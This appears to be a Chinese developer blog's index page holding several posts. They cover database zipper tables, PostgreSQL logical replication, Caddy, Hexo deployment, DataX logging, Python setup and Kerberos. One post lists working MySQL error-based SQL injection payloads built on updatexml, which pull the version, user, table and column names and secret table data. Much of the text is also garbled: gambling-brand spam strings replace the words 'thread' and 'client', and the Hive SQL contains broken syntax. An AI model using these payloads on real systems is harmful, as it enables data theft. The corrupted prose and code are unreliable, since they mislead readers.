数据库拉链表原理及设计

2024-07-02

拉链表概念

想象一下，你有一张用户表，每天用户的某些信息(比如昵称、等级)都会发生变化。你想要记录下用户每天的变化情况，传统的做法是每天全量覆盖用户表，但这会浪费很多存储空间，因为大部分数据其实没有变化。

拉链表设计的思路是，只记录数据变化的区间，就像一条拉链一样，每个齿轮记录着一段时间的有效数据。

Postgresql数据库拉链表设计

拉链表设计

一般来说，拉链表会有以下几个关键字段：
主键 (id): 用于标识数据的唯一性，例如用户 ID。
开始时间 (start_dt)): 该条记录开始生效的时间。
结束时间 (end_dt): 该条记录失效的时间。通常我们会设置一个很大的日期作为默认值，表示记录目前仍然有效。
其他业务字段: 例如用户的昵称、等级等等。

示例

假设我们有一个用户表 users: 需要记录用户等级的变化历史，以便进行用户分析和运营策略制定。
好的！咱们来用一个更具体的例子，结合代码，详细讲解拉链表的设计和使用。😉

场景： 假设我们在运营一个电商平台，需要记录用户等级的变化历史，以便进行用户分析和运营策略制定。

1. 表结构设计

我们创建一个名为 user_level_history 的拉链表，字段如下：

字段名数据类型说明

user_id

INT

用户ID，主键

level

INT

用户等级

start_dt

DATETIME

等级生效时间

end_dt

DATETIME

等级失效时间，默认值 ‘9999-12-31’

建表语句如下：

CREATE TABLE user_level_history (
  id BIGSERIAL PRIMARY KEY,                   -- 主键
  user_id INT NOT NULL,             -- 用户ID
  level INT NOT NULL,               -- 用户等级
  is_deleted BOOLEAN DEFAULT FALSE, -- 是否删除，false：未删除，true：已删除
  created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
  updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
  start_dt DATE DEFAULT CURRENT_DATE,
  end_dt DATE DEFAULT '9999-12-31',
  UNIQUE (user_id, start_dt)      -- 联合唯一索引，确保每个用户在每个时间点只有一条记录
);

CREATE INDEX idx_user_id ON user_level_history (user_id); -- 可选索引，根据实际情况添加
CREATE INDEX idx_start_dt ON user_level_history (start_dt); -- 可选索引，根据实际情况添加
CREATE INDEX idx_end_dt ON user_level_history (end_dt); -- 可选索引，根据实际情况添加

字段说明:

id：自增主键，保证每条记录的唯一性。

user_id：用户ID，与用户表关联。

level：用户等级。

start_dt：等级生效时间。

end_dt：等级失效时间，默认为一个很大的日期，表示记录当前有效。

is_deleted：是否删除标记，用于软删除。

索引说明:

为 user_id, start_dt, end_dt 等字段创建索引可以提高查询效率，特别是当数据量较大时。

注意事项:

上述建表语句只是一个示例，你可以根据实际需求调整字段类型、添加约束等。

选择合适的数据库和数据类型，以及创建合适的索引，可以有效提升拉链表的性能。

2. 数据初始化

假设在 2023-10-28 这天，我们平台上有两个用户：

user_id level

那么 user_level_history 表的初始数据为：

user_id level is_deleted created_at updated_at start_dt end_dt

false

2023-10-28 09:00:00

2023-10-28

9999-12-31

false

2023-10-28 10:00:00

2023-10-28

9999-12-31

初始sql为：

1
2
3

INSERT INTO user_level_history (user_id, level, is_deleted, created_at, updated_at, start_dt, end_dt) VALUES
(1, 1, FALSE, '2023-10-28 00:00:00', '2023-10-28 00:00:00', '2023-10-28', '9999-12-31'),  
(2, 2, FALSE, '2023-10-28 00:00:00', '2023-10-28 00:00:00','2023-10-28', '9999-12-31');  --  用户 1，初始等级 1用户 2，初始等级 2

3. 模拟用户等级变化

2023-10-29：用户1 升级到2级

2023-10-29：新增用户 3，等级为 1

2023-10-30：用户2 升级到3级

2023-10-31：用户1等级升到3级

4. 更新拉链表

我们需要分两步更新 user_level_history 表：

步骤一： 更新原有记录的 end_dt 为等级变化日期。

步骤二： 插入新的记录，包含新的等级和生效时间。

代码示例 (以PostgreSql为例):

-- 2023-10-29 用户1升级到2级
-- 步骤一：更新原有记录的end_dt
UPDATE user_level_history 
SET end_dt = '2023-10-29', 
    updated_at = '2023-10-29 14:30:00'
WHERE user_id = 1 AND end_dt = '9999-12-31';

-- 步骤二：插入新记录
INSERT INTO user_level_history (user_id, level, is_deleted, created_at, updated_at, start_dt, end_dt) 
VALUES (1, 2, FALSE, '2023-10-29 14:30:00', '2023-10-29 14:30:00', '2023-10-29', '9999-12-31');

-- 2023-10-29 新增用户 3，等级为 1
-- 步骤一：插入新记录
INSERT INTO user_level_history (user_id, level, is_deleted, created_at, updated_at, start_dt, end_dt) 
VALUES (3, 1, FALSE, '2023-10-29 16:00:00', '2023-10-29 16:00:00', '2023-10-29', '9999-12-31');

-- 2023-10-30 用户2升级到3级
-- 步骤一：更新原有记录的end_dt
UPDATE user_level_history 
SET end_dt = '2023-10-30',
    updated_at = '2023-10-30 10:00:00'
WHERE user_id = 2 AND end_dt = '9999-12-31';
-- 步骤二：插入新记录
INSERT INTO user_level_history (user_id, level, is_deleted, created_at, updated_at, start_dt, end_dt) 
VALUES (2, 3, FALSE, '2023-10-30 10:00:00', '2023-10-30 10:00:00', '2023-10-30', '9999-12-31');

-- 2023-10-30 用户1升级到3级
-- 步骤一：更新原有记录的end_dt
UPDATE user_level_history 
SET end_dt = '2023-10-31',
    updated_at = '2023-10-31 09:00:00'
WHERE user_id = 1 AND end_dt = '9999-12-31';
-- 步骤二：插入新记录
INSERT INTO user_level_history (user_id, level, is_deleted, created_at, updated_at, start_dt, end_dt) 
VALUES (1, 3, FALSE, '2023-10-31 09:00:00', '2023-10-31 09:00:00', '2023-10-31', '9999-12-31');

5. 最终数据

经过以上操作，user_level_history 表最终数据如下：

user_id level is_deleted created_at updated_at start_dt end_dt

false

2023-10-28 09:00:00

2023-10-29 14:30:00

2023-10-28

2023-10-29

false

2023-10-29 14:30:00

2023-10-31 09:00:00

2023-10-29

2023-10-31

false

2023-10-31 09:00:00

2023-10-31

9999-12-31

false

2023-10-28 10:00:00

2023-10-30 10:00:00

2023-10-28

2023-10-30

false

2023-10-30 10:00:00

2023-10-30

9999-12-31

false

2023-10-29 16:00:00

2023-10-29

9999-12-31

6. 查询历史数据

现在，我们可以方便地查询用户在任意时间段内的等级信息。例如，要查询用户在 2023-10-29 当天的等级：

1
2
3

SELECT *
FROM user_level_history
WHERE start_dt <= '2023-10-29' AND end_dt > '2023-10-29';

user_id level is_deleted created_at updated_at start_dt end_dt

false

2023-10-29 14:30:00

2023-10-29

9999-12-31

false

2023-10-28 10:00:00

2023-10-30 10:00:00

2023-10-28

2023-10-30

false

2023-10-29 16:00:00

2023-10-29

9999-12-31

7. 回滚拉链表

我们假设需要将 user_level_history 表的数据回滚到 2023-10-29 这天结束时的状态。
步骤一：恢复在目标日期之后被修改或删除的数据

1
2
3

UPDATE user_level_history
SET end_dt = '9999-12-31'  -- 将 end_dt 恢复为默认值
WHERE end_dt > '2023-10-29' AND start_dt <= '2023-10-29';

这句 SQL 会将 end_dt 大于 2023-10-29 且 start_dt 小于等于 2023-10-29 的记录的 end_dt 更新为默认值，相当于恢复了这些在目标日期之后被修改或删除的数据。

步骤二：处理在目标日期之后新删除：

1
2

DELETE FROM user_level_history
WHERE start_dt > '2023-10-29';

注意事项:

在执行回滚操作之前，强烈建议 备份数据，以防万一操作失误。

如果数据量很大，建议分批进行更新或删除操作，避免对数据库造成过大压力。

8. 归档拉链表历史数据

1.创建归档表:

创建一个结构与原拉链表相同的归档表，例如 user_level_history_archive。

2.将历史数据插入归档表:

选择需要归档的数据，例如超过一定时间的数据，并将其插入归档表。

INSERT INTO user_level_history_archive
   SELECT *
   FROM user_level_history
   WHERE end_dt < CURRENT_DATE - INTERVAL '3 months'; -- 例如归档三个月前的数据

3.从原表删除已归档数据:

1
2

delete from user_level_history
    WHERE end_dt < CURRENT_DATE - INTERVAL '3 months'; -- 例如归档三个月前的数据

大数据量情况下hive构建拉链表

1. 建表语句

CREATE TABLE user_level_history (
    user_id INT,
    level INT,
    is_deleted BOOLEAN,
    created_at TIMESTAMP,
    updated_at TIMESTAMP,
    start_dt STRING,
    end_dt STRING
)
PARTITIONED BY (end_month STRING)  -- 分区字段：失效年月，格式为 'yyyyMM'
STORED AS ORC;

hive构建拉链表需要选取好分区字段，分区字段推荐使用end_month字段

2.查询当前有效数据

SELECT *
FROM user_level_history
WHERE end_month = '999912'  -- 查询 end_month 为 '999912' 的记录，表示当前有效数据
ORDER BY user_id, start_dt;

3.查询历史数据

SELECT *
FROM user_level_history
WHERE end_month >= '202310'  -- 包含失效月份为 2023 年 10 月的记录
  AND start_dt <= '2023-10-25'
ORDER BY user_id, start_dt;

查询10月25日当天有效数据

4.拉链表快速新增增量数据

根据增量数据判断出变动的和新增的数据，对于新增的数据直接放到999912分区即可，对于变动的数据，需要从999912分区删除，并新增到当前月的分区

user_id level start_dt end_dt is_deleted created_at updated_at

20231028

20231029

false

2023-10-28 09:00:00

2023-10-29 14:30:00

20231029

99991231

false

2023-10-29 14:30:00

20231028

20231029

false

2023-10-28 10:00:00

2023-10-29 15:00:00

20231029

99991231

false

2023-10-29 15:00:00

20231029

99991231

false

2023-10-29 16:00:00

现有数据如上，现在10月30日，发生数据修改

2023-10-30: 新增用户 4，等级为 1

2023-10-30:用户3 升级到3级

假设这2条修改的数据已经在某个临时表user_level_history_incre，现在需要将user_level_history_incre的数据写入到user_level_history表里。

由于hive对修改不是很友好，对于当月分区的数据只涉及新增，对于999912分区涉及删除和新增，因此我们采取如下办法

1.找出最新的数据和当前增量的数据的差异，对于修改的数据需要更改原有的end_dt为当前时间

create table user_level_history_temp ASSELECT * from
    (SELECT user_id,
		level,
		is_deleted,
		created_at,
		updated_at,
		start_dt,
		case
    	WHEN end_dt ='99991231' THEN
    	lead(start_dt,1,'99991231')
    	OVER (partion by user_id
    ORDER BY  start_dt asc) ese end_dt
    	END AS end_dt from
        (SELECT *
        FROM user_level_history_temp
        WHERE end_month ='999912'
        UNION
        ALL SELECT *
        FROM user_level_history_temp));

2.删除999912分区下的数据

alter table user_level_history drop table partition (end_month='999912')

3.将临时表的数据写入原表中

insert into table user_level_history select * from user_level_history_temp;

4.删除临时表

drop table user_level_history_temp;

展开全文 >>

postgresq配置逻辑复制并获取数据变更

2023-08-05

通过docker搭建postgresq

通过docker搭建

docker run -d \
	--name some-postgres \
	-e POSTGRES_PASSWORD=qazwsx123 \
	-e PGDATA=/var/lib/postgresql/data/pgdata \
	-v /var/postgres-data:/var/lib/postgresql/data -p 15432:5432 \
	postgres:13.5

然后修改配置文件

cd /var/postgres-data/pgdata

修改postgresql.conf

1
2

wal_level = 'logical';
max_replication_slots = 5; #该值要大于1

创建数据库

create database fzy;

创建有replication权限的用户

1
2

CREATE ROLE test_rep LOGIN  ENCRYPTED PASSWORD 'test_rep' REPLICATION;
GRANT CONNECT ON DATABASE fzy to test_rep;

重启数据库

docker restart some-postgres

创建表，执行命令

CREATE TABLE COMPANY(
   ID INT PRIMARY KEY     NOT NULL,
   NAME           TEXT    NOT NULL,
   AGE            INT     NOT NULL,
   ADDRESS        CHAR(50),
   SALARY         REAL
);

执行写入命令

insert into company values(1,'fzy',12,'aaa',1.2)

通过java程序捕捉变化

代码如下：

<dependency>
    <groupId>org.postgresql</groupId>
    <artifactId>postgresql</artifactId>
    <version>42.2.5</version>
</dependency>


import org.postgresql.PGConnection;
import org.postgresql.PGProperty;
import org.postgresql.replication.PGReplicationStream;

import java.nio.ByteBuffer;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.Properties;
import java.util.concurrent.TimeUnit;

public class Main {
    public static void main(String[] args) throws SQLException, InterruptedException {
        String url = "jdbc:postgresql://xxx.xxx.xxx.xxx:15432/fzy";
        Properties props = new Properties();
        PGProperty.USER.set(props, "test_rep");
        PGProperty.PASSWORD.set(props, "test_rep");
        PGProperty.ASSUME_MIN_SERVER_VERSION.set(props, "9.4");
        PGProperty.REPLICATION.set(props, "database");
        PGProperty.PREFER_QUERY_MODE.set(props, "simple");

        Connection con = DriverManager.getConnection(url, props);
        PGConnection replConnection = con.unwrap(PGConnection.class);

        replConnection.getReplicationAPI()
                .createReplicationSlot()
                .logical()
                .withSlotName("test_slot")
                .withOutputPlugin("test_decoding")
                .make();

        PGReplicationStream stream =
                replConnection.getReplicationAPI()
                        .replicationStream()
                        .logical()
                        .withSlotName("test_slot")
                        .withSlotOption("include-xids", false)
                        .withSlotOption("skip-empty-xacts", true)
                        .withStatusInterval(20, TimeUnit.SECONDS)
                        .start();

        while (true) {
            //non blocking receive message
            ByteBuffer msg = stream.readPending();

            if (msg == null) {
                TimeUnit.MILLISECONDS.sleep(10L);
                continue;
            }

            int offset = msg.arrayOffset();
            byte[] source = msg.array();
            int length = source.length - offset;
            System.out.println(new String(source, offset, length));

            //feedback
            stream.setAppliedLSN(stream.getLastReceiveLSN());
            stream.setFlushedLSN(stream.getLastReceiveLSN());
        }
    }
}

最终效果如下

1
2
3

BEGIN
table public.company: INSERT: id[integer]:1 name[text]:'fzy' age[integer]:12 address[character]:'aaa                                               ' salary[real]:1.2
COMMIT

展开全文 >>

caddy自动配置https，并设置basic_auth

2023-04-05

caddy配置https

修改Caddyfile如下即可：

1
2
3

https://xxxxx.com {
  reverse_proxy http://172.24.0.3:3000
}

caddy配置https并设置basic_auth

https://xxxxx.com {
    basicauth /* {
        test JDJhJDE0JFhHMS5vTDRqcmJ6UWhxL0R5RFdlVWVVNXdKOXZ5NGNPc1l0QWpmZmtLTVhqTnBVS0o5RkQu
        acb JDJhJDE0JFhHMS5vTDRqcmJ6UWhxL0R5RFdlVWVVNXdKOXZ5NGNPc1l0QWpmZmtLTVhqTnBVS0o5RkQu
    }
  reverse_proxy http://172.24.0.3:3000
}

caddy的密码必须通过caddy hash-password命令去获取密文密码才可以，本文所采用的的密码为123456

展开全文 >>

hexo博客通过github的actions实现ssh自动化部署

2021-09-20

自动化部署的原理

1.通过每次提交代码，触发github的actions去执行我们编写的脚本。

2.可通过scp的方式部署到我们的服务上去。

自定义环境变量

需要在项目下创建一下文件blank.yml，放在.github/workflows/blank.yml 这个路径下，文件内容如下图所示。

# This is a basic workflow to help you get started with Actions

name: CI

# Controls when the action will run. Triggers the workflow on push or pull request
# events but only for the master branch
on:
  push:
    branches: [ master ]

# A workflow run is made up of one or more jobs that can run sequentially or in parallel
jobs:
  # This workflow contains a single job called "build"
  build:
    # The type of runner that the job will run on
    runs-on: ubuntu-latest

    # Steps represent a sequence of tasks that will be executed as part of the job
    steps:
    # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it
    - uses: actions/checkout@v2

    - name: Setup Node.js 10.x
      uses: actions/setup-node@v1
      with:
        node-version: "10.x"
    
    - name: Setup Dependencies
      run: |
        npm install -g hexo-cli
        npm i -g @cloudbase/cli
        npm install
        hexo generate

    - name: Deploy to Server
      uses: easingthemes/ssh-deploy@main
      env:
          SSH_PRIVATE_KEY: ${{ secrets.SERVER_SSH_KEY }}
          ARGS: "-rltgoDzvO --delete"
          SOURCE: "public/"
          REMOTE_HOST: ${{ secrets.REMOTE_HOST }}
          REMOTE_USER: ${{ secrets.REMOTE_USER }}
          TARGET: ${{ secrets.REMOTE_TARGET }}

其中变量 secrets都需要根据自身的情况进行替换。替换过程参照下图即可

按照上面的操作就可以替换掉。

展开全文 >>

datax集成spring boot后实现每个job打印到不同文件

2021-06-14

问题背景

1.当我们的程序开启了多个天博app官网入进行作业的时候，如何把跟一个作业相关的日志都打印到一个文件呢，而不是都打印在一个文件里，毕竟都打印在一个文件里，很不方便我们日常去查看问题。

2.经过调研发现slfj的MDC就可以实现这个功能，原理就是通过threalocal去实现的，感兴趣的可以去查看源码。

解决方法

1.具体怎么使用也很简单，我们需要在datax的天博app官网入池执行任务的时候，能够获取到启动这个天博app官网入池传递过来的jobId就可以了，具体代码如下。

package com.alibaba.datax.core.util;

import org.slf4j.MDC;

import java.util.Map;
import java.util.concurrent.*;

public class MDCThreadPoolExecutor extends ThreadPoolExecutor {

    public MDCThreadPoolExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue) {
        super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue);
    }

    public MDCThreadPoolExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory) {
        super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory);
    }

    public MDCThreadPoolExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, RejectedExecutionHandler handler) {
        super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, handler);
    }

    public MDCThreadPoolExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {
        super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);
    }

    @Override
    public void execute(Runnable command) {
        final Map<String, String> context = MDC.getCopyOfContextMap();
        super.execute(new Runnable() {
            @Override
            public void run() {
                // 将父天博app官网入的MDC内容传给子天博app官网入
                MDC.setContextMap(context);
                try {
                    // 执行异步操作
                    command.run();
                } finally {
                    // 清空MDC内容
                    MDC.clear();
                }
            }
        });
    }
}

package com.alibaba.datax.core.util;

import org.slf4j.MDC;

import java.util.Map;

public class MDCRunnable implements Runnable {
    private Runnable runnable;
    /**
     * 保存当前主天博app官网入的MDC值
     */
    private final Map<String, String> mainMdcMap;

    public MDCRunnable(Runnable runnable) {
        this.runnable = runnable;
        this.mainMdcMap = MDC.getCopyOfContextMap();
    }


    @Override
    public void run() {
        // 将父天博app官网入的MDC值赋给子天博app官网入
        for (Map.Entry<String, String> entry : mainMdcMap.entrySet()) {
            MDC.put(entry.getKey(), entry.getValue());
        }
        // 执行被装饰的天博app官网入run方法
        runnable.run();
        // 执行结束移除MDC值
        for (Map.Entry<String, String> entry : mainMdcMap.entrySet()) {
            MDC.put(entry.getKey(), entry.getValue());
        }
    }
}

通过上述对天博app官网入池进行改造，在天博app官网入池每次获取任务的时候，都可以从父天博app官网入获取父天博app官网入设置的变量。因此我们要在父天博app官网入启动子天博app官网入的时候，设置上这个变量。

MDC.put("jobId", String.valueOf(jobId));

接下来，我们需要配置下logback.xml


<appender name="siftInfo" class="ch.qos.logback.classic.sift.SiftingAppender">
    <!--discriminator鉴别器，设置运行时动态属性,siftingAppender根据这个属性来输出日志到不同文件 -->
    <discriminator>
        <key>jobId</key>
        <defaultValue>unknown</defaultValue>
    </discriminator>
    <sift>
        <!--具体的写日志appender，每一个userId创建一个文件-->
        <appender name="${jobId}" class="ch.qos.logback.core.rolling.RollingFileAppender">
            <append>true</append>
            <encoder charset="UTF-8">
                <pattern>%d{yyyy-MM-dd HH:mm:ss} %level %logger{36} - %msg%n</pattern>
            </encoder>

            <file>${logdir}/job/${jobId}.log</file>
            <rollingPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy">
                <!--定义文件滚动时的文件名的格式-->
                <fileNamePattern>./logs/job/%d{yyyyMMdd}/${jobId}-%i.log</fileNamePattern>
                <maxFileSize>500MB</maxFileSize>
                <maxHistory>60</maxHistory>
                <totalSizeCap>20GB</totalSizeCap>
            </rollingPolicy>

            <filter class="ch.qos.logback.classic.filter.ThresholdFilter">
                <level>INFO</level>
            </filter>
        </appender>
    </sift>
</appender>

展开全文 >>

datax原理通俗分析

2021-06-13

介绍

datax是阿里开源作为数据同步工具，支持多种数据源交叉同步，具体可见https://github.com/alibaba/DataX 还有参考datax实现的flinkx，通过flink去实现，https://github.com/DTStack/chunjun 阿里开源的datax只是一个单机版，具体要用到公司的业务中，我们还是需要进行包装一下，才能用的方便。因此笔者在工作期间花了很多时间去改造datax，让它变得更加易用。本文主要是通俗介绍datax的原理。

源码分析

主要原理简单来说，就是一个读天博app官网入从各种数据源读取数据，放到一个队列里，另外一个写天博app官网入从这个队列里取数据。在写天博app官网入取数据前还可以对数据进行etl处理。

具体的datax执行job主要分为这么几步。

拆分任务。为拆读任务和写任务，且读写任务最终拆出来的结果要1:1。
执行任务。拆出来的任务，封装成一组又一组的天博app官网入进行执行。
在任务运行期间进行数据统计。

具体实现可查看代码TaskGroupContainer类型，这个类包含了任务具体的执行过程。

展开全文 >>

通过updatexml进行sql报错注入

2020-06-22

1.爆数据库版本信息

updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

2.链接用户

updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

3.链接数据库

updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

4.暴露数据表名称

1
2
3

updatexml(2,concat(0x3a,(SELECT(HEX(TABLE_NAME))FROM(information_schema.tables) LIMIT 0,1),0x3a),1)

表名称返回的是16进制，需要转一下。

5.暴露数据表的列名称

1
2
3

updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=66333261685F6D656E755F747970657 limit 0,1)),0)

表名称需要换成18进制。

6.查数据

1
2
3

updatexml(1,concat(0x3e,(select concat(id) from joomla.secret limit 0,1)),0)

根据数据库名称和表名称查询数据库。

展开全文 >>

通过github的actions自动化部署hexo博客

2020-06-14

自动化部署的原理

1.通过每次提交代码，触发github的actions去执行我们编写的脚本。

2.可通过多种方式将代码上传到自己的服务器。比如scp，ftp，http上传。

自定义环境变量

1.我们通过scp的方式，或者ftp的方式上传我们生成好的文件。会有一个问题。我们可能会把自己的关键的密码等信息需要放置在我们编写的脚本里。

2.github action支持我们自定义变量，这个变量在运行我们的脚本的时候，可以被替换掉。

- name: Deploy static to Tencent CloudBase
  id: deployStatic
  uses: TencentCloudBase/cloudbase-action@v1.1.1
  with:
    secretId: ${{ secrets.APIKEYID }}
    secretKey: ${{ secrets.APIKEY }}
    envId: fzy123-14df6e
    staticSrcPath: public

其中变量 APIKEYID和 APIKEY都可以被替换掉。

图片alt

按照上面的操作就可以替换掉。

腾讯云静态文件部署

如果要是用腾讯云提供的静态网站部署，可以直接参考我编写yml文件。
https://github.com/fangzhenyi/fangzhenyi.GitHub.io/blob/master/.github/workflows/blank.yml

展开全文 >>

windows安装python开发环境

2020-03-07

最近开始了python教学生涯，希望跟我一起学python的同学生活能变得美好。下面是介绍python环境的安装，需要按照下面的截图来安装，这样可以避免大家的环境不一致。
首先安装python。我们用的python版本是3.8.2，下载链接是https://www.python.org/ftp/python/3.8.2/python-3.8.2-amd64.exe
可以将这个链接复制到浏览器或者迅雷进行下载。下载完成后进行安装。
图片alt
标红的两个对号都要勾上，然后点击install now。

最后如果出现Disable path length limit这个选项的话，就点击这个。如果没有就调过，这里python的环境基本安装好了。

使用的IDE是pycharm，下载地址是https://www.jetbrains.com/pycharm/download/#section=windows 下载社区版就可以。不用花钱，免费就可以使用。

图片alt

点击就可以下载，这个地址的下载可能会比较慢。可以将这个地址直接复制到迅雷里下载。https://download-cf.jetbrains.com/python/pycharm-community-2019.3.3.exe

下载完成后就可以安装了。
图片alt
按照上面的图进行勾选。

创建一个项目。

先新建一个文件夹，再在文件夹下面，新建一个1.py文件。

展开全文 >>

简单理解kerberos原理

2019-03-10

背景

假如存在A，B, C三节点，他们需要两两之间进行通讯，如何去认定对方的身份，并且没有假冒的可能。Kerberos协议就是去解决这个问题的。

Kerberos协议角色

天博体育克罗地亚APP（client）：发送请求的一方
服务端（Server）：接收请求的一方
密钥分发中心（Key Distribution Center，KDC），而密钥分发中心一般又分为两部分，分别是：
AS（Authentication Server）：认证服务器，专门用来认证天博体育克罗地亚APP的身份并发放客户用于访问TGS的TGT（票据授予票据）
TGS（Ticket Granting Ticket）：票据授予服务器，用来发放整个认证过程以及天博体育克罗地亚APP访问服务端时所需的服务授予票据（Ticket）

天博体育克罗地亚APP访问server端整个通信流程如下

1.天博体育克罗地亚APP用户向KDC以明文的方式发起请求。该次请求中携带了自己的用户名，主机IP，和当前时间戳。
2.KDC当中的AS（Authentication Server）接收请求，查看是否存在这个用户，存在返回信息。返回的信息包含其中包含两部分内容：第一部分内容称为TGT，他叫做票据授予票据，天博体育克罗地亚APP需要使用TGT去KDC中的TGS（票据授予中心）获取访问网络服务所需的Ticket（服务授予票据），TGT中包含的内容有kerberos数据库中存在的该天博体育克罗地亚APP的Name，IP，当前时间戳，天博体育克罗地亚APP即将访问的TGS的Name，TGT的有效时间以及一把用于天博体育克罗地亚APP和TGS间进行通信的Session_key(CT_SK)。整个TGT使用TGS密钥加密，天博体育克罗地亚APP是解密不了的，由于密钥从没有在网络中传输过，所以也不存在密钥被劫持破解的情况。第二部分内容是使用天博体育克罗地亚APP密钥加密的一段内容，其中包括用于天博体育克罗地亚APP和TGS间通信的Session_key(CT_SK),天博体育克罗地亚APP即将访问的TGS的Name以及TGT的有效时间，和一个当前时间戳。该部分内容使用天博体育克罗地亚APP密钥加密，所以天博体育克罗地亚APP在拿到该部分内容时可以通过自己的密钥解密。如果是一个假的天博体育克罗地亚APP，那么他是不会拥有真正天博体育克罗地亚APP的密钥的，因为该密钥也从没在网络中进行传输过。这也同时认证了天博体育克罗地亚APP的身份，如果是假天博体育克罗地亚APP会由于解密失败从而终端认证流程。
3.天博体育克罗地亚APP使用CT_SK加密将自己的天博体育克罗地亚APP信息发送给KDC，其中包括天博体育克罗地亚APP名，IP，时间戳；
4.天博体育克罗地亚APP将自己想要访问的Server服务以明文的方式发送给KDC。
5.天博体育克罗地亚APP将TGT也原封不动的也携带给KDC。
6.此时KDC中的TGS（票据授予服务器）收到了来自天博体育克罗地亚APP的请求。他首先根据天博体育克罗地亚APP明文传输过来的Server服务IP查看当前kerberos系统中是否存在可以被用户访问的该服务。如果不存在，认证失败结束。如果存在，继续接下来的认证。
7.TGS使用自己的密钥将TGT中的内容进行解密，此时他看到了经过AS认证过后并记录的用户信息，一把Session_KEY即CT_SK，还有时间戳信息，他会现根据时间戳判断此次通信是否真是可靠有无超出时延。
8.如果时延正常，则TGS会使用CK_SK对天博体育克罗地亚APP的第一部分内容进行解密（使用CT_SK加密的天博体育克罗地亚APP信息），取出其中的用户信息和TGT中的用户信息进行比对，如果全部相同则认为天博体育克罗地亚APP身份正确，方可继续进行下一步。
9.此时KDC将返回响应给天博体育克罗地亚APP，响应内容包括：第一部分：用于天博体育克罗地亚APP访问网络服务的使用Server密码加密的ST（Servre Ticket），其中包括天博体育克罗地亚APP的Name，IP，需要访问的网络服务的地址Server IP，ST的有效时间，时间戳以及用于天博体育克罗地亚APP和服务端之间通信的CS_SK（Session Key）。第二部分：使用CT_SK加密的内容，其中包括CS_SK和时间戳，还有ST的有效时间。由于在第一次通信的过程中，AS已将CT_SK通过天博体育克罗地亚APP密码加密交给了天博体育克罗地亚APP，且天博体育克罗地亚APP解密并缓存了CT_SK，所以该部分内容在天博体育克罗地亚APP接收到时是可以自己解密的。
10.天博体育克罗地亚APP使用CK_SK将自己的主机信息和时间戳进行加密作为交给服务端的第一部分内容，然后将ST（服务授予票据）作为第二部分内容都发送给服务端。
11.服务器此时收到了来自天博体育克罗地亚APP的请求，他会使用自己的密钥，即Server密钥将天博体育克罗地亚APP第二部分内容进行解密，核对时间戳之后将其中的CS_SK取出，使用CS_SK将天博体育克罗地亚APP发来的第一部分内容进行解密，从而获得经过TGS认证过后的天博体育克罗地亚APP信息，此时他将这部分信息和天博体育克罗地亚APP第二部分内容带来的自己的信息进行比对，最终确认该天博体育克罗地亚APP就是经过了KDC认证的具有真实身份的天博体育克罗地亚APP，是他可以提供服务的天博体育克罗地亚APP。此时服务端返回一段使用CT_SK加密的表示接收请求的响应给天博体育克罗地亚APP，在天博体育克罗地亚APP收到请求之后，使用缓存在本地的CS_ST解密之后也确定了服务端的身份（其实服务端在通信的过程中还会使用数字证书证明自己身份）。

总结

1.整个可靠的通信依靠KDC和所有需要通信的双方共享自己的秘钥。

展开全文 >>